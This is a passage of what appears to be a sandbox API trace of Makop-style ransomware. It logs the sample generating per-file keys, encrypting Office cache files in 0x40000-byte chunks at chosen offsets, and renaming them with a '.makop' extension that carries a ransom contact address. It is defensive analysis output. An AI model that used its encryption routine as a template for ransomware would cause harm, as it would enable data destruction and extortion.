Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0064.326] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2503680) returned 1 [0064.326] GetProcessHeap () returned 0x48a0000 [0064.326] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0064.326] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0064.326] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.327] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0064.327] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0064.327] GetProcessHeap () returned 0x48a0000 [0064.327] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0064.327] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0064.327] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0064.327] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0064.354] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0064.355] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0064.355] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0064.355] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0064.355] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0064.355] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0064.355] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0064.355] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0064.356] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0064.369] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0064.372] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.372] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0064.374] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.374] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0064.375] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0064.375] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0064.647] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0064.650] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.650] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0064.654] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.655] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0064.655] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0064.655] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0064.672] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0064.678] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.679] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0064.681] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.681] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0064.681] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0064.681] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.681] SetEndOfFile (hFile=0x124) returned 1 [0064.691] GetProcessHeap () returned 0x48a0000 [0064.691] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0064.691] GetProcessHeap () returned 0x48a0000 [0064.691] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0064.691] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0064.692] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0064.997] CloseHandle (hObject=0x124) returned 1 [0064.998] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0064.998] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0064.998] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0064.999] GetProcessHeap () returned 0x48a0000 [0064.999] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0064.999] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0064.999] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0064.999] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x6, lpOverlapped=0x0) returned 1 [0065.027] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0065.027] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.027] GetProcessHeap () returned 0x48a0000 [0065.027] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0065.027] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0065.028] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.028] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0065.028] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0065.028] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0065.028] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0065.028] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0065.029] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0065.029] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0065.029] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.029] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x5aa, lpOverlapped=0x0) returned 1 [0065.029] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x5b0) returned 1 [0065.029] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.029] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x5b0, lpOverlapped=0x0) returned 1 [0065.030] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.030] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.030] SetEndOfFile (hFile=0x124) returned 1 [0065.038] GetProcessHeap () returned 0x48a0000 [0065.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0065.038] GetProcessHeap () returned 0x48a0000 [0065.038] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0065.038] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0065.038] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0065.044] CloseHandle (hObject=0x124) returned 1 [0065.044] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0065.044] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0065.045] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0065.049] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=70361744) returned 1 [0065.049] GetProcessHeap () returned 0x48a0000 [0065.049] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0065.049] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0065.049] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.049] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.050] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.050] GetProcessHeap () returned 0x48a0000 [0065.050] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0065.050] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579508*=0x30) returned 1 [0065.050] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.050] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579524*=0x30, lpOverlapped=0x0) returned 1 [0065.060] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0065.060] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0065.060] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0065.060] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0065.060] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0065.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0065.061] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0065.061] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.061] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.074] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.077] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.077] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.080] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.080] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.080] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.081] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.091] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.094] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.094] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.176] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.176] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.176] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0065.176] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0065.184] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0065.187] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.187] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0065.189] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.189] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0065.192] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0065.192] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x431a354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.192] SetEndOfFile (hFile=0x124) returned 1 [0065.200] GetProcessHeap () returned 0x48a0000 [0065.200] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0065.200] GetProcessHeap () returned 0x48a0000 [0065.200] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0065.200] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0065.200] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0065.202] CloseHandle (hObject=0x124) returned 1 [0065.202] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: 